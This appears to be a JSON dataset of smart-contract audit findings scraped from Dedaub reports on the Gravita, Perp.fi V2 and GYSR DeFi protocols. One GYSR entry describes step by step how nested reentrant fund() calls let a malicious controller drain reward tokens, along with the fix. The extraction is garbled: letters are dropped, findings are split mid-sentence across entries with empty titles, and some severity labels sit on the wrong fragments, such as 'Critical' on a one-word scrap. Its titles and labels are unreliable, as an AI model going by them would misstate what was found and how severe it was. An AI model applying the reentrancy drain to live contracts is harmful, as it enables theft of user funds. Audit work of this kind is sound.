collateral data (to default values) yet has no access control, unlike, e.g., the almost-equivalent setAsDefault, which is onlyOwner. 1 Although there are many other safeguards that ensure that collateral is valid, we recommend tightening the access control for sanitizeParameters as well. function sanitizeParameters(address _collateral) external { if (!collateralParams[_collateral].hasCollateralConfigured) { _setAsDefault(_collateral); } } function setAsDefault(address _collateral) external onlyOwner { _setAsDefault(_collateral); } CENTRALIZATION ISSUES: It is often desirable for DeFi protocols to assume no trust in a central authority, including the protocols owner. Even if the owner is reputable, users are more likely to engage with a protocol that guarantees no catastrophic failure even in the case the owner gets hacked/compromised. We list issues of this kind below. (These issues should be considered in the context of usage/deployment, as they are not uncommon. Several high-prole, high-value protocols have signicant centralization threats.) ", - "labels": [ - "Dedaub", - "Gravita", - "Severity: Low" - ] - }, - { - "title": "contracts can mint arbitrarily large amounts of debt tokens ", - "html_url": "https://github.com/dedaub/audits/tree/main/Gravita/Gravita Audit, Apr. 23.pdf", - "body": " INFO (acknowledged) The role of the whitelisted contracts is not completely clear to us. There is only one related comment in DebtToken.sol : // stores SC addresses that are allowed to mint/burn the token (AMO strategies,", - "labels": [ - "Dedaub", - "Gravita", - "Severity: Informational" - ] - }, - { - "title": "", - "html_url": "https://github.com/dedaub/audits/tree/main/Gravita/Gravita Audit, Apr. 23.pdf", - "body": "mapping(address => bool) public whitelistedContracts; 1 These contracts can mint debt tokens without depositing any collateral calling DebtToken::mintFromWhitelistedContract. This could be a serious problem if such a contract was malicious. Also, even if these contracts work as expected, minting debt tokens without providing any collateral could have a serious impact on the price of the debt token. N2 Protocol owners can set crucial parameters INFO (acknowledged) Key functionality is trusted to the owner of various contracts. Owners can set the kinds of collateral accepted, the oracles that are used to price collateral, etc. Thus, protocol owners should be trusted by users. OTHER / ADVISORY ISSUES: This section details issues that are not thought to directly aect the functionality of the project, but we recommend considering them. ", - "labels": [ - "Dedaub", - "Gravita", - "Severity: Low" - ] - }, - { - "title": "struct Vessel (IVesselManager.sol), asset is unnecessary ", - "html_url": "https://github.com/dedaub/audits/tree/main/Gravita/Gravita Audit, Apr. 23.pdf", - "body": " INFO Field asset of struct Vessel is currently unused. Vessel records are currently only used in a mapping that has the asset as the key, so there is no need to read the asset from the Vessel data. In FeeCollector::_decreaseDebt no need to check for", - "labels": [ - "Dedaub", - "Gravita", - "Severity: Informational" - ] - }, - { - "title": "", - "html_url": "https://github.com/dedaub/audits/tree/main/Gravita/Gravita Audit, Apr. 23.pdf", - "body": "fees if the expiration time of the refunding is block.timestamp INFO 1 In the code below if (mRecord.to < NOW) { } _closeExpiredOrLiquidatedFeeRecord(_borrower, _asset, mRecord.amount); < can be replaced by <=, since when mRecord == NOW, there is nothing left for the user to refund.", - "labels": [ - "Dedaub", - "Gravita", - "Severity: Informational" - ] - }, - { - "title": "", - "html_url": "https://github.com/dedaub/audits/tree/main/Gravita/Gravita Audit, Apr. 23.pdf", - "body": "event INFO The following event is declared in IAdminContract.sol but not used anywhere: event MaxBorrowingFeeChanged(uint256 oldMaxBorrowingFee, uint256 newMaxBorrowingFee);", - "labels": [ - "Dedaub", - "Gravita", - "Severity: Informational" - ] - }, - { - "title": "", - "html_url": "https://github.com/dedaub/audits/tree/main/Gravita/Gravita Audit, Apr. 23.pdf", - "body": "storage variables INFO The storage mapping StabilityPool::pendingCollGains and code accessing it are unnecessary since the information is never set to non-zero values. // Mapping from user address => pending collaterals to claim still // Must always be sorted by whitelist to keep leftSumColls functionality mapping(address => Colls) pendingCollGains; ... function getDepositorGains(address _depositor) public view returns (address[] memory, uint256[] memory) { // Add pending gains to the current gains return ( collateralsFromNewGains, _leftSumColls( Colls(collateralsFromNewGains, amountsFromNewGains), pendingCollGains[_depositor].tokens, pendingCollGains[_depositor].amounts ) ); } ... function _sendGainsToDepositor( 1 address _to, address[] memory assets, uint256[] memory amounts ) internal { ... // Reset pendingCollGains since those were all sent to the borrower Colls memory tempPendingCollGains; pendingCollGains[_to] = tempPendingCollGains; } Also, StabilityPool::controller is unused and never set: IAdminContract public controller; Finally, variables activePool, defaultPool in GravitaBase seem unused and not set (at least for most subcontracts of GravitaBase). IActivePool public activePool; IDefaultPool internal defaultPool;", - "labels": [ - "Dedaub", - "Gravita", - "Severity: Informational" - ] - }, - { - "title": "", - "html_url": "https://github.com/dedaub/audits/tree/main/Gravita/Gravita Audit, Apr. 23.pdf", - "body": "is really just a transfer INFO In StabilityPool::_sendGainsToDepositor, it is not clear why the transferFrom is not merely a transfer. function _sendGainsToDepositor( address _to, address[] memory assets, uint256[] memory amounts ) internal { for (uint256 i = 0; i < assetsLen; ++i) { IERC20Upgradeable(asset).safeTransferFrom(address(this), _to, amount); } } 1", - "labels": [ - "Dedaub", - "Gravita", - "Severity: Informational" - ] - }, - { - "title": "", - "html_url": "https://github.com/dedaub/audits/tree/main/Gravita/Gravita Audit, Apr. 23.pdf", - "body": "with more than 18 decimals are not supported INFO Tokens with more than 18 decimals are not supported, based on the SafetyTransfer library (outside the audit scope). function decimalsCorrection(address _token, uint256 _amount) internal view returns (uint256) if (_token == address(0)) return _amount; if (_amount == 0) return 0; uint8 decimals = ERC20Decimals(_token).decimals(); if (decimals < 18) { return _amount.div(10**(18 - decimals)); } return _amount; // Dedaub: more than 18 not supported correctly! { } We do not recommend trying to address this, as it may introduce other complexities for very lile practical benet. Instead, we recommend just being aware of the limitation.", - "labels": [ - "Dedaub", - "Gravita", - "Severity: Informational" - ] - }, - { - "title": "", - "html_url": "https://github.com/dedaub/audits/tree/main/Gravita/Gravita Audit, Apr. 23.pdf", - "body": "statement (consisting of a mere expression) INFO In BorrowingOperations::openVessel, the following expression (used as a statement!) is a no-op: vars.debtTokenFee;", - "labels": [ - "Dedaub", - "Gravita", - "Severity: Informational" - ] - }, - { - "title": "", - "html_url": "https://github.com/dedaub/audits/tree/main/Gravita/Gravita Audit, Apr. 23.pdf", - "body": "external function, not called as expected INFO 1 BorrowerOperations::moveLiquidatedAssetToVessel appears to not be used in the protocol. // Send collateral to a vessel. Called by only the Stability Pool. function moveLiquidatedAssetToVessel( address _asset, uint256 _amountMoved, address _borrower, address _upperHint, address _lowerHint ) external override { _requireCallerIsStabilityPool(); _adjustVessel(_asset, _amountMoved, _borrower, 0, 0, false, _upperHint, _lowerHint); }", - "labels": [ - "Dedaub", - "Gravita", - "Severity: Informational" - ] - }, - { - "title": "", - "html_url": "https://github.com/dedaub/audits/tree/main/Gravita/Gravita Audit, Apr. 23.pdf", - "body": "isInitialized flags INFO The following paern over storage variable isInitialized appears in several contracts but should be entirely unnecessary, due to the presence of the initializer modier. bool public isInitialized; function setAddresses(...) external initializer { require(!isInitialized); isInitialized = true; } Contracts with the paern include FeeCollector, PriceFeed, ActivePool, CollSurplusPool, DefaultPool, SortedVessels, StabilityPool, VesselManager, VesselManagerOperations, CommunityIssuance, GRVTStaking.", - "labels": [ - "Dedaub", - "Gravita", - "Severity: Informational" - ] - }, - { - "title": "", - "html_url": "https://github.com/dedaub/audits/tree/main/Gravita/Gravita Audit, Apr. 23.pdf", - "body": "INFO 1 The codebase exhibits some old code paerns (which we do not recommend xing, since they directly mimick the Liquity trusted code): The use of assert for condition checking (instead of require/ifrevert). (Some of the asserts have been replaced, but not all.) The use of SafeMath instead of relying on Solidity 0.8.* checks.", - "labels": [ - "Dedaub", - "Gravita", - "Severity: Informational" - ] - }, - { - "title": "", - "html_url": "https://github.com/dedaub/audits/tree/main/Gravita/Gravita Audit, Apr. 23.pdf", - "body": "and error-prone use of this.* INFO Some same-contract function calls are made with the paern this.func(), which causes a new internal transaction and changes the msg.sender. This should be avoided for clarity and (gas) performance. In VesselManager: function isVesselActive(address _asset, address _borrower) public view override returns (bool) { return this.getVesselStatus(_asset, _borrower) == uint256(Status.active); } In PriceFeed (and also note the unusual convention of 0 = ETH): function _calcEthPrice(uint256 ethAmount) internal returns (uint256) { uint256 ethPrice = this.fetchPrice(address(0)); // Dedaub: Also, why the convention that 0 = ETH? return ethPrice.mul(ethAmount).div(1 ether); } function _fetchNativeWstETHPrice() internal returns (uint256 price) { uint256 wstEthToStEthValue = _getWstETH_StETHValue(); OracleRecord storage stEth_UsdOracle = registeredOracles[stethToken]; price = stEth_UsdOracle.exists ? this.fetchPrice(stethToken) : _calcEthPrice(wstEthToStEthValue); _storePrice(wstethToken, price); } 1 Compatibility of PriceFeed::_fetchPrevFeedResponse,", - "labels": [ - "Dedaub", - "Gravita", - "Severity: Informational" - ] - }, - { - "title": "", - "html_url": "https://github.com/dedaub/audits/tree/main/Gravita/Gravita Audit, Apr. 23.pdf", - "body": "with future versions of the Chainlink INFO Aggregator The roundId returned by the Chainlink AggregatorProxy contract is a uint80.The 16 most important bits keep the phaseId (incremented every time the underlying aggregator is updated) and the other 64 bits keep the roundId of the aggregator. As long as the underlying aggregator is the same, the roundId returned by the proxy will increase by one in each new round, but in an update of the aggregator contract the proxy roundId will increment not by 1, since the phaseId will also change. In this case the previous round is not current_roundId-1 and _fetchPrevFeedResponse will not return the price data from the previous round (which was a round of the previous aggregator). We mention this issue, although the probability that the protocol fetches a price at the time of an update of a Chainlink oracle is relatively small and each round lasts a few minutes to an hour. PriceFeed::_isValidResponse does all the validity checks necessary for the current Chainlink Aggregator version. Chaninlinks AggregatorProxy::latestRoundData returns also two extra values uint256 startedAt, uint80 answeredInRound, which, for the current version, do not hold extra information i.e. answeredInRound==roundId, but in past and possible future versions they could be used for some extra validity checks i.e. answeredInRound>=roundId.", - "labels": [ - "Dedaub", - "Gravita", - "Severity: Informational" - ] - }, - { - "title": "", - "html_url": "https://github.com/dedaub/audits/tree/main/Gravita/Gravita Audit, Apr. 23.pdf", - "body": "code In BorrowerOperations: function _requireNonZeroAdjustment( uint256 _collWithdrawal, uint256 _debtTokenChange, uint256 _assetSent ) internal view { require( INFO msg.value != 0 || _collWithdrawal != 0 || _debtTokenChange != 0 || 1 _assetSent != 0, \"BorrowerOps: There must be either a collateral change or a debt // Dedaub: `msg.value != 0` not possible change\" ); } the condition msg.value != 0 is not possible, as ensured in the single place where this function is called (_adjustVessel). The condition should be kept if the function is to be usable elsewhere in the future. Similarly, in VesselManager, the condition marked with a comment below seems unnecessary, given that the arithmetic is compiler-checked. function decreaseVesselDebt( address _asset, address _borrower, uint256 _debtDecrease ) external override onlyBorrowerOperations returns (uint256) { uint256 oldDebt = Vessels[_borrower][_asset].debt; if (_debtDecrease == 0) { return oldDebt; // no changes } uint256 paybackFraction = (_debtDecrease * 1 ether) / oldDebt; uint256 newDebt = oldDebt - _debtDecrease; Vessels[_borrower][_asset].debt = newDebt; if (paybackFraction > 0) { if (paybackFraction > 1 ether) { // Dedaub:Impossible. The \"-\" would have reverted, three lines above paybackFraction = 1 ether; } feeCollector.decreaseDebt(_borrower, _asset, paybackFraction); } return newDebt; } 1", - "labels": [ - "Dedaub", - "Gravita", - "Severity: Informational" - ] - }, - { - "title": "", - "html_url": "https://github.com/dedaub/audits/tree/main/Gravita/Gravita Audit, Apr. 23.pdf", - "body": "ownable policy INFO Some contracts are dened to be Ownable (using the OZ libraries), yet do not use this capability (beyond initialization). These include: StabilityPool initializes Ownable, relinquishes ownership, but never checks ownership in setAddresses, or elsewhere. function setAddresses( address _borrowerOperationsAddress, address _vesselManagerAddress, address _activePoolAddress, address _debtTokenAddress, address _sortedVesselsAddress, address _communityIssuanceAddress, address _adminContractAddress ) external initializer override { __Ownable_init(); renounceOwnership(); // Dedaub: The function was onlyOwner in Liquity, here there's // no point of Ownable } VesselManagerOperations inherits and initializes ownable functionality but is it used? function setAddresses( address _vesselManagerAddress, address _sortedVesselsAddress, address _stabilityPoolAddress, address _collSurplusPoolAddress, address _debtTokenAddress, address _adminContractAddress ) external initializer { __Ownable_init(); // YS:! why? 2 }", - "labels": [ - "Dedaub", - "Gravita", - "Severity: Informational" - ] - }, - { - "title": "", - "html_url": "https://github.com/dedaub/audits/tree/main/Gravita/Gravita Audit, Apr. 23.pdf", - "body": "explicit check in BorrowerOperations::openVessel that the collateral deposited by the user is approved INFO If a user aempts to open a Vessel with a collateral asset not approved by the owner, the transaction will fail, because there will be no price oracle registered for this asset. Therefore it is checked if the user deposits an approved collateral asset, but only indirectly. It would be beer if there was an explicit check.", - "labels": [ - "Dedaub", - "Gravita", - "Severity: Informational" - ] - }, - { - "title": "", - "html_url": "https://github.com/dedaub/audits/tree/main/Gravita/Gravita Audit, Apr. 23.pdf", - "body": "only partially initializes the collateralParams structure INFO We cannot nd a specic problem with the current only partial initialization, since even if the owner just adds a new _collateral and does not set all the elds of collateralParams[_collateral], upon opening a Vessel the protocol sets the default values for these. But, in general it is not a good practice to leave uninitialized variables and it would be beer if in addnewCollateral the owner also set the default values for the remaining collateralParams elements.", - "labels": [ - "Dedaub", - "Gravita", - "Severity: Informational" - ] - }, - { - "title": "", - "html_url": "https://github.com/dedaub/audits/tree/main/Gravita/Gravita Audit, Apr. 23.pdf", - "body": "internal functions INFO In StabilityPool, the following two functions are unused. function _requireUserHasVessel(address _depositor) internal view { address[] memory assets = adminContract.getValidCollateral(); uint256 assetsLen = assets.length; for (uint256 i; i < assetsLen; ++i) { if (vesselManager.getVesselStatus(assets[i], _depositor) == 1) { return; } } revert(\"StabilityPool: caller must have an active vessel to withdraw AssetGain to\"); 2 } function _requireUserHasAssetGain(address _depositor) internal view { (address[] memory assets, uint256[] memory amounts) = getDepositorGains(_depositor); for (uint256 i = 0; i < assets.length; ++i) { if (amounts[i] > 0) { return; } } revert(\"StabilityPool: caller must have non-zero gains\"); }", - "labels": [ - "Dedaub", - "Gravita", - "Severity: Informational" - ] - }, - { - "title": "", - "html_url": "https://github.com/dedaub/audits/tree/main/Gravita/Gravita Audit, Apr. 23.pdf", - "body": "mistakes in names or comments INFO This issue collects several items, all supercial, but easy to x. AdminContract: uint256 public constant PERCENT_DIVISOR_DEFAULT = 100; // dividing by 100 yields 0.5% // Dedaub: No, it yields 1% AdminContract: function setAsDefaultWithRemptionBlock( // Dedaub: spelling AdminContract: struct CollateralParams { } uint256 redemptionBlock; // Dedaub: misnamed, its in seconds (We advise special caution, since the eld is set in two ways, so external callers may be confused by the name and pass a block number, whereas the calculation is in terms of seconds.) StabilityPool: 2 // Internal function, used to calculcate ... PriceFeed: * - If price decreased, the percentage deviation is in relation to the the FeeCollector: function _createFeeRecord( address _borrower, address _asset, uint256 _feeAmount, FeeRecord storage _sRecord ) internal { uint256 from = block.timestamp + MIN_FEE_DAYS * 24 * 60 * 60; // Dedaub: `1 days` is the best way to write this, as done // elsewhere in the code", - "labels": [ - "Dedaub", - "Gravita", - "Severity: Informational" - ] - }, - { - "title": "", - "html_url": "https://github.com/dedaub/audits/tree/main/Gravita/Gravita Audit, Apr. 23.pdf", - "body": "for gas optimization INFO Gas savings were not a focus of the audit, but there are some clear instances of repeat work or missed opportunities for immutable elds. StabilityPool: function receivedERC20(address _asset, uint256 _amount) external override { } totalColl.amounts[collateralIndex] += _amount; uint256 newAssetBalance = totalColl.amounts[collateralIndex]; The two highlighted lines (likely) perform two SLOADs and one SSTORE. Using an intermediate temporary variable for the sum will save an SLOAD. DebtToken: the following variable is only set in constructor, could be declared immutable. address public timelockAddress; 2", - "labels": [ - "Dedaub", - "Gravita", - "Severity: Informational" - ] - }, - { - "title": "", - "html_url": "https://github.com/dedaub/audits/tree/main/Gravita/Gravita Audit, Apr. 23.pdf", - "body": "constants INFO Our recommendation is for all numeric constants to be given a symbolic name at the top of the contract, instead of being interspersed in the code. VesselManagerOperations::getRedemptionHints: collLot = collLot * REDEMPTION_SOFTENING_PARAM / 1000; AdminContract::setAsDefaultWithRedemptionBlock: if (blockInDays > 14) { ... BorrowerOperations::openVessel: contractsCache.vesselManager.setVesselStatus(vars.asset, msg.sender, 1); // Dedaub: 1 stands for \"active, but is obscure", - "labels": [ - "Dedaub", - "Gravita", - "Severity: Informational" - ] - }, - { - "title": "", - "html_url": "https://github.com/dedaub/audits/tree/main/Gravita/Gravita Audit, Apr. 23.pdf", - "body": "inconsistent INFO Contract IDebtToken is not really an interface, since it contains full ER", - "labels": [ - "Dedaub", - "Gravita", - "Severity: Informational" - ] - }, - { - "title": "", - "html_url": "https://github.com/dedaub/audits/tree/main/Gravita/Gravita Audit, Apr. 23.pdf", - "body": "functionality.", - "labels": [ - "Dedaub", - "Gravita", - "Severity: Critical" - ] - }, - { - "title": "", - "html_url": "https://github.com/dedaub/audits/tree/main/Gravita/Gravita Audit, Apr. 23.pdf", - "body": "allowed deviation between two consecutive oracle prices seems to be too high INFO In PriceFeed.sol there is a MAX_PRICE_DEVIATION_FROM_PREVIOUS_ROUND constant set to 5e17 i.e. 50%. If the percentage deviation of two consecutive Chainlink responses is greater than this constant, the protocol rejects the new price as invalid. But the value of this constant seems to be too high. Moreover, we think it would be beer if the protocol used a dierent MAX_PRICE_DEVIATION_FROM_PREVIOUS_ROUND for each collateral asset considering also the volatility of the asset. A23 Compiler bugs INFO 2 The code has the compile pragma ^0.8.10. For deployment, we recommend no floating pragmas, i.e., a xed version, for predictability. Solc version 0.8.10, specically, has some known bugs, which we do not believe to aect the correctness of the contracts. 2", - "labels": [ - "Dedaub", - "Gravita", - "Severity: Informational" - ] - }, - { - "title": "", - "html_url": "https://github.com/dedaub/audits/tree/main/Perpetual Protocol/Perp.fi V2 Audit Report - Apr '22.pdf", - "body": "allows any msg.sender to send Ether RESOLVED ETH deposited into the Vault contract is converted to WETH by being deposited into the WETH contract. A user wishing to withdraw their ETH needs to call the withdrawEther method, which in turn calls the withdraw method of the WETH contract. As part of the unwrapping procedure of WETH, ETH is sent back to the Vault contract, which needs to be able to receive it and thus denes the special receive() method. It is expected (mentioned in a comment) that the receive() method will only be used to receive funds sent by the WETH contract. However, there is no check enforcing this assumption, allowing practically anyone to send ETH to the contract. We believe that the current version of the code is not susceptible to any aacks that could try to manipulate the accounting of ETH performed by the Vault. Still, we cannot guarantee that no aack vectors will arise as the codebase evolves and thus suggest adding a check on the msg.sender as follows: receive() external payable { require(_msgSender() == _WETH9, \"msg.sender is not WETH\"); } 0 OTHER/ ADVISORY ISSUES: This section details issues that are not thought to directly aect the functionality of the project, but we recommend considering them.", - "labels": [ - "Dedaub", - "Perp.fi V2", - "Severity: Low" - ] - }, - { - "title": "", - "html_url": "https://github.com/dedaub/audits/tree/main/Perpetual Protocol/Perp.fi V2 Audit Report - Apr '22.pdf", - "body": "allows 0 value withdrawals ACKNOWLEDGED The Vault contract allows 0 value withdrawals through its external withdraw and withdrawEther methods. We believe that adding a requirement that a withdrawals amount should be greater than 0 would improve user experience and prevent the unnecessary spending of gas on user error. [The suggestion has been acknowledged by the protocol's team and might be implemented in a future release.]", - "labels": [ - "Dedaub", - "Perp.fi V2", - "Severity: Informational" - ] - }, - { - "title": "", - "html_url": "https://github.com/dedaub/audits/tree/main/Perpetual Protocol/Perp.fi V2 Audit Report - Apr '22.pdf", - "body": "allows 0 value liquidations ACKNOWLEDGED The Vault contract allows 0 value liquidations through its liquidateCollateral method. Disallowing such liquidations will protect users from unnecessarily spending gas in case they make a mistake. [The suggestion has been acknowledged by the protocol's team and might be implemented in a future release.]", - "labels": [ - "Dedaub", - "Perp.fi V2", - "Severity: Informational" - ] - }, - { - "title": "", - "html_url": "https://github.com/dedaub/audits/tree/main/Perpetual Protocol/Perp.fi V2 Audit Report - Apr '22.pdf", - "body": "gas optimization RESOLVED Internal method Vault::_modifyBalance allows the mount parameter to be 0. This behavior is intended, as it is clearly documented in a comment. Nevertheless, when amount is 0, no changes are applied to the contract's state, as can be seen below: function _modifyBalance( address trader, address token, int256 amount ) internal { 0 // Dedaub: code has no effects on storage, still consumes some gas int256 oldBalance = _balance[trader][token]; int256 newBalance = oldBalance.add(amount); _balance[trader][token] = newBalance; if (token == _settlementToken) { return; } // register/deregister non-settlement collateral tokens if (oldBalance != 0 && newBalance == 0) { // Dedaub: execution will not reach here when amount is 0 // .. } else if (oldBalance == 0 && newBalance != 0) { // Dedaub: execution will not reach here when amount is 0 // .. } } oldBalance and newBalance are equal when amount is 0, thus no state changes get applied. Still some gas is consumed, which can be avoided if the method is changed to return early if amount is 0.", - "labels": [ - "Dedaub", - "Perp.fi V2", - "Severity: Informational" - ] - }, - { - "title": "", - "html_url": "https://github.com/dedaub/audits/tree/main/Perpetual Protocol/Perp.fi V2 Audit Report - Apr '22.pdf", - "body": "gas optimization RESOLVED Method _getAccountValueAndTotalCollateralValue calls the AccountBalance contracts method getPnlAndPendingFee twice, once directly and once in the call to _getSettlementTokenBalanceAndUnrealizedPnl in _getTotalCollateralValue. The rst call to getPnlAndPendingFee to get the unrealized PnL could be removed if the code was restructured appropriately to reuse the same value returned by _getSettlementTokenBalanceAndUnrealizedPnl. A5 Compiler known issues INFO 0 The contracts were compiled with the Solidity compiler v0.7.6 which, at the time of writing, has a few known bugs. We inspected the bugs listed for this version and concluded that the subject code is unaected. 0 CENTRALIZATION ASPECTS As is common in many new protocols, the owner of the smart contracts yields considerable power over the protocol, including changing the contracts holding the users funds and adding tokens, which potentially means borrowing tokens using fake collateral, etc. In addition, the owner of the protocol has total control of several protocol parameters: - the collateral ratio of tokens - the discount ratio (applicable in liquidation) - the deposit cap of tokens - the maximum number of dierent collateral tokens for an account - the maintenance margin buer ratio - the allowed ratio of debt in non selement tokens - the liquidation ratio - the insurance fund fee ratio - the debt threshold - the collateral value lower (dust) limit In case the aforementioned parameters are decided by governance in future versions of the protocol, collateral ratios should be approached in a really careful and methodical way. We believe that a more decentralized approach would be to alter these weights in a specic way dened by predetermined formulas (taking into consideration the on-chain volatility and liquidity available on-chain) and allow only small adjustments by governance. 0", - "labels": [ - "Dedaub", - "Perp.fi V2", - "Severity: Informational" - ] - }, - { - "title": "shares can be drained by the controller devalued via a reentrancy aack ", - "html_url": "https://github.com/dedaub/audits/tree/main/GYSR/GYSR - Mar '23.pdf", - "body": " RESOLVED This vulnerability arises from two separate issues in dierent parts of the code: 1. The TokenUtils::receiveAmount/receiveWithFee functions compute the amount of received tokens as the dierence in balance before and after the transfer. TokenUtils::receiveAmount() function receiveAmount( IERC20 token, uint256 shares, address sender, uint256 amount ) internal returns (uint256) { // transfer uint256 total = token.balanceOf(address(this)); token.safeTransferFrom(sender, address(this), amount); uint256 actual = token.balanceOf(address(this)) - total; // mint shares at current rate uint256 minted = (total > 0) ? (shares * actual) / total : actual * INITIAL_SHARES_PER_TOKEN; require(minted > 0); return minted; } The goal is to support dierent types of tokens (e.g. tokens with transfer fees). This approach, however, introduces a possible aack vector: the code could miscalculate the amount of tokens transferred if some other action is executed in between the two balance readings. Note that token.safeTransferFrom() is an external call outside our control. As such, we cannot exclude the possibility that it returns execution to the adversary (e.g. via a transfer hook). 2. The fund() function, of all reward modules, has no reentrancy guards (likely due to the fact that funding sounds \"harmless\"; we send tokens to the contract without geing anything back). The possible aack: We assume a malicious controller that creates a pool with ERC20FixedRewardModule (for simplicity). His goal is to receive the benets of staking but without giving any rewards back. The reward token used in the pool is a legitimate trusted token. We only assume that it has some ERC777-type transfer hook (or any mechanism to notify the sender when a transferFrom happens). 1. The adversary funds the reward module and waits until several users have staked tokens (giving them rights to reward tokens). 2. He then initiates a number of k nested calls to ERC20FixedRewardModule::fund as follows: ERC20FixedRewardModule::fund() function fund(uint256 amount) external { require(amount > 0, \"xrm4\"); (address receiver, uint256 feeRate) = _config.getAddressUint96( keccak256(\"gysr.core.fixed.fund.fee\")); uint256 minted = _token.receiveWithFee( rewards, msg.sender, amount, receiver, feeRate ); rewards += minted; emit RewardsFunded(address(_token), amount, minted, block.timestamp); } a. He calls fund() with an innitesimal amount (say 1 wei). fund calls receiveWithFee which registers the initial total = balanceOf(this) and calls token.safeTransferFrom. TokenUtils::receiveWithFee() function receiveWithFee(...) internal returns (uint256) { uint256 total = token.balanceOf(address(this)); uint256 fee; if (feeReceiver != address(0) && feeRate > 0 && feeRate < 1e18) { fee = (amount * feeRate) / 1e18; token.safeTransferFrom(sender, feeReceiver, fee); } token.safeTransferFrom(sender, address(this), amount - fee); uint256 actual = token.balanceOf(address(this)) - total; uint256 minted = (total > 0) ? (shares * actual) / total : actual * INITIAL_SHARES_PER_TOKEN; require(minted > 0); return minted; } b. The laer passes control to the adversary (via a send hook), which makes a nested call to fund, again with amount = 1 wei. Which again leads to a new token.safeTransferFrom. c. The process continues until the k-th call, which is now made with a larger amount = N. The adversary stops making nested calls so the previous calls nish their execution starting from the most nested one. d. The last (k-th) call computes actual as the dierence between the two balances which will be equal to N tokens. This causes rewards to be incremented by the corresponding amount of shares (= (rewards * N) / total). e. Now execution returns to the (k-1)-th call, for which the actual transferred amount was just 1 wei. However, the dierence of balances includes the nested k-th call, so actual will be found to be N (not 1 wei), causing rewards to be incremented again by the same amount of shares. f. The same happens with all outer calls, causing rewards to be incremented by k times more shares than they should! 3. The previous step essentially devalued each reward share, since we printed k times more shares than we should have. Note that the controller can withdraw all funds except those corresponding to the shares in debt. But these now are worth less, so the adversary can withdraw more reward tokens than he should. By picking k to be as large as the stack allows, and a large value of N (possibly using a flash loan), the controller can drain almost all reward tokens from the pool, leaving users with no rewards. Note that the other reward modules are also likely vulnerable since they all call receiveWithFee and have no reentrancy guard. To prevent this vulnerability reentrancy guards should be added to all fund methods. Moreover, TokenUtils::receiveAmount could check that the actual transferred amount is no larger than the expected one. This check would still support tokens with transfer fees, but would catch aacks like the one reported here. Resolution: This vulnerability was xed by addressing both issues that enabled it. Specically: A check was added in TokenUtils::receiveAmount to ensure that the transferred amount is no larger than the expected one Reentrancy guards were added to the fund function HIGH SEVERITY: [No high severity issues] MEDIUM SEVERITY: ", - "labels": [ - "Dedaub", - "GYSR - Mar '23", - "Severity: Critical" - ] - }, - { - "title": "use of the factory contracts is only enforced o-chain WONT FIX The proper way to deploy a pool and its modules is via the factory contracts. These contracts ensure that the pool is initialized with proper values that prevent a potentially malicious controller from stealing the investors funds. However, the use of factory contracts is only checked o-chain. PoolFactory keeps a list of contracts it created, and this list presumably is used by the GYSR UI to allow users to interact only with oicially created contracts. On the other hand, anyone could still create their own Pool contracts and manually initialize in any way. Such contracts would have identical source code as the legitimate ones, and it would be hard to recognize them. They would also be clearly unsafe: by using malicious staking and reward modules, or even a fake GYSR token, an adversary could easily steal all the funds deposited by investors. Although the o-chain checks would ensure that no user actually interacts with such contracts, such checks are inherently less reliable than on-chain ones. It would be preferable to ensure that contracts with bytecode identical to the oicial ones can never be improperly initialized, for instance by allowing their constructor to be called by a factory contract. Resolution: This issue largely concerns o-chain aspects and cannot be fully addressed on-chain. As a consequence, it will be addressed by adding clear documentation explaining how to verify the validity of a deployed contract. Unstaking in ERC20FixedRewardModule is inconsistent RESOLVED under dierent use cases M2 The ERC20FixedRewardModule was updated as part of the PR #38 mentioned in the ABSTRACT section. The fundamental functions for the users are stake, unstake and claim. When a user stakes, the pos.debt eld holds their potential rewards if they stake for the entire predened period. However, a user can always claim their rewards for the amount already vested. Here are two scenarios of the same logic that are treated dierently: Case #1: The rst case assumes that the users will not stake more than once. This happens when this reward module is combined with the ERC20BondStaking module since users cant stake twice with a bond. However, if they unstake early, for recovering the remaining principal, their rewards earning ratio should also be reduced. In order for the reward module to achieve this, it treats the user shares as if they were vesting all together. So, when user unstakes early only a percentage of all user shares have vested resulting in losing portion of the earning power as indented. Case #2: The second case is when users can stake more than once. This can happen when this module is combined with other staking modules like ERC20StakingModule for example. Then, when a user stakes again, the function calculates the rewards earned up to that point, updates their records and rolls over the remaining (unvested) amount with the newly added one to start vesting from that point forward. This approach treats the user shares as if they were vesting linearly and not all together which means that the user wont lose his earning power. A detailed example illustrating the inconsistency between the 2 cases is provided in the APPENDIX of this report. 1 Resolution: This issue was addressed by modifying the staking logic to remove the inconsistency. LOW SEVERITY: ID Description ", - "html_url": "https://github.com/dedaub/audits/tree/main/GYSR/GYSR - Mar '23.pdf", - "body": " L1 Approximation errors in ERC20BondStakingModule RESOLVED ERC20BondStakingModule needs to perform vesting and debt decay on multiple amounts which however have dierent vesting/decay periods. To perform this operation in O(1) an approximation method is used, where vesting/decay happens for the whole amount simultaneously, and the period is essentially restarted in every update. This method necessarily introduces an approximation error. If multiple updates happen the resulting values could be substantially lower than the actual ones. What is particularly problematic is that such delays can be produced by events that do not add new value to the system. For instance, vesting a large amount could be substantially delayed by staking (maliciously or coincidentally) small amounts. With just 5 updates the amount vested at the end of the period will be only 67% of the total. Note that there is also an \"opposite extreme\" strategy: instead of restarting the period on every update, we could choose to never restart until the current amount is fully vested. Of course, this method also introduces an error. If the newly deposited amounts are large, delaying them might introduce a larger error than restarting the period. So we propose to follow a hybrid approach, alternating between the two extremes: keep a pending amount whose vesting has not started yet, and will start no later than 1 at the end of the current period, but possibly earlier if it's preferable. When a new amount arrives, we will compute how much error will be introduced by starting a new vesting period, and how much error will be introduced if we delay the new amount, and we'll choose the approach of the smallest error. This report is accompanied by a Jupyter notebook with a discussion of this method, a prototype implementation and some simulations. The proposed method has the following properties: It needs O(1) time and is only marginally more complicated than the simple method. It is guaranteed to vest at least as much as the simple method, and never more than the maximum amount. In order to introduce vesting delays one needs to add new funds to the system, larger than the ones currently being vested. Resolution: This issue was addressed by an improved logic that resets the time period only on stake operations, improving the accuracy while simplifying the code. OTHER / ADVISORY ISSUES: This section details issues that are not thought to directly aect the functionality of the project, but we recommend considering them. ", - "labels": [ - "Dedaub", - "GYSR - Mar '23", - "Severity: Medium" - ] - }, - { - "title": "", - "html_url": "https://github.com/dedaub/audits/tree/main/GYSR/GYSR - Mar '23.pdf", - "body": "is not correctly overridden in ERC20BondStakingModule RESOLVED The ERC20BondStakingModule contract overrides the ERC721::_beforeTokenTransfer() hook. However, the overridden hook hasnt the same signature as the original one causing the compilation to fail. The missing part is the 4th argument which should have been another uint256. 